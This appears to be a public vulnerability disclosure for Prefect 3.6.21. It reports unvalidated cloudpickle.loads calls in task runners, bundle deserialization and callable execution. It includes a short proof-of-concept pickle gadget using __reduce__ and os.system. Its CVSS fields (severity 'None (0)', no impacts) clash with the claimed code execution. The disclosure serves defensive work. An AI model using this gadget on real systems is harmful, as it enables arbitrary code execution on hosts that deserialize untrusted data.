Unsafe cloudpickle deserialization in Prefect task runners and bundle deserialization in prefecthq/prefect

Valid

Reported on Mar 7th 2026


Unsafe Deserialization in Prefect

Description

Prefect uses cloudpickle.loads() in multiple critical paths without validation:

1. Task Runner Results (prefect/task_runners.py:624)

def result(self, timeout: float | None = None) -> R:
    pickled_result = self.wrapped_future.result(timeout)
    return cloudpickle.loads(pickled_result)  # No validation

PrefectConcurrentFuture.result() deserializes task results from the process pool via cloudpickle.

2. Task Runner Callback (prefect/task_runners.py:644)

result = cloudpickle.loads(wrapped_future.result())

Done callbacks also deserialize via cloudpickle.loads.

3. Bundle Deserialization (prefect/_experimental/bundles/__init__.py:107)

def _deserialize_bundle_object(serialized_obj: str) -> Any:
    return cloudpickle.loads(gzip.decompress(base64.b64decode(serialized_obj)))

Bundles are deserialized from base64-encoded gzip-compressed cloudpickle data. If an attacker can control the serialized bundle string, they achieve ACE.

4. Callable Execution (prefect/utilities/callables.py:233)

fn, args, kwargs = cloudpickle.loads(payload)

_run_serialized_call() deserializes function calls from cloudpickle bytes.

Attack Scenario

  1. In distributed Prefect deployments, task results flow between workers via serialized data
  2. A compromised worker can return malicious cloudpickle data that executes code when the result is consumed
  3. The bundle deserialization path is exploitable if an attacker can inject a malicious serialized string into the bundle system
  4. The callables path deserializes function payloads — a poisoned payload achieves ACE

Steps to Reproduce

import os, cloudpickle, gzip, base64

class Evil:
    def __reduce__(self):
        return (os.system, ("echo PWNED > /tmp/proof.txt",))

# Simulate bundle deserialization
serialized = base64.b64encode(gzip.compress(cloudpickle.dumps(Evil()))).decode()
result = cloudpickle.loads(gzip.decompress(base64.b64decode(serialized)))
# /tmp/proof.txt created — ACE

Tested On

  • Prefect 3.6.21, Python 3.12.3, cloudpickle 3.1.2
  • ACE confirmed via cloudpickle.loads in bundle deserialization

Impact

Arbitrary code execution via cloudpickle.loads in Prefect task runners, bundle deserialization, and callable execution. Prefect is a popular workflow orchestration platform with 10M+ PyPI downloads. Distributed deployments where task results flow between workers are especially at risk.

Occurrences


task_runners.py L624](https://github.com/PrefectHQ/prefect/blob/3.6.21/src/prefect/task_runners.py#L624)

cloudpickle.loads(pickled_result) — deserializes task runner results without validation


init.py L107](https://github.com/PrefectHQ/prefect/blob/3.6.21/src/prefect/_experimental/bundles/__init__.py#L107)

cloudpickle.loads(gzip.decompress(base64.b64decode(serialized_obj))) — bundle deserialization


callables.py L233](https://github.com/PrefectHQ/prefect/blob/3.6.21/src/prefect/utilities/callables.py#L233)

cloudpickle.loads(payload) — deserializes function calls from bytes

References

Vulnerability Type

CWE-502: Deserialization of Untrusted Data

Severity

None (0)

Attack vector

Network

Attack complexity

Low

Privileges required

None

User interaction

None

Scope

Unchanged

Confidentiality

None

Integrity

None

Availability

None

Open in visual CVSS calculator

Registry

Pypi

Affected Version

3.6.21

Visibility

Public

Status

Awaiting fix

Found by

User not found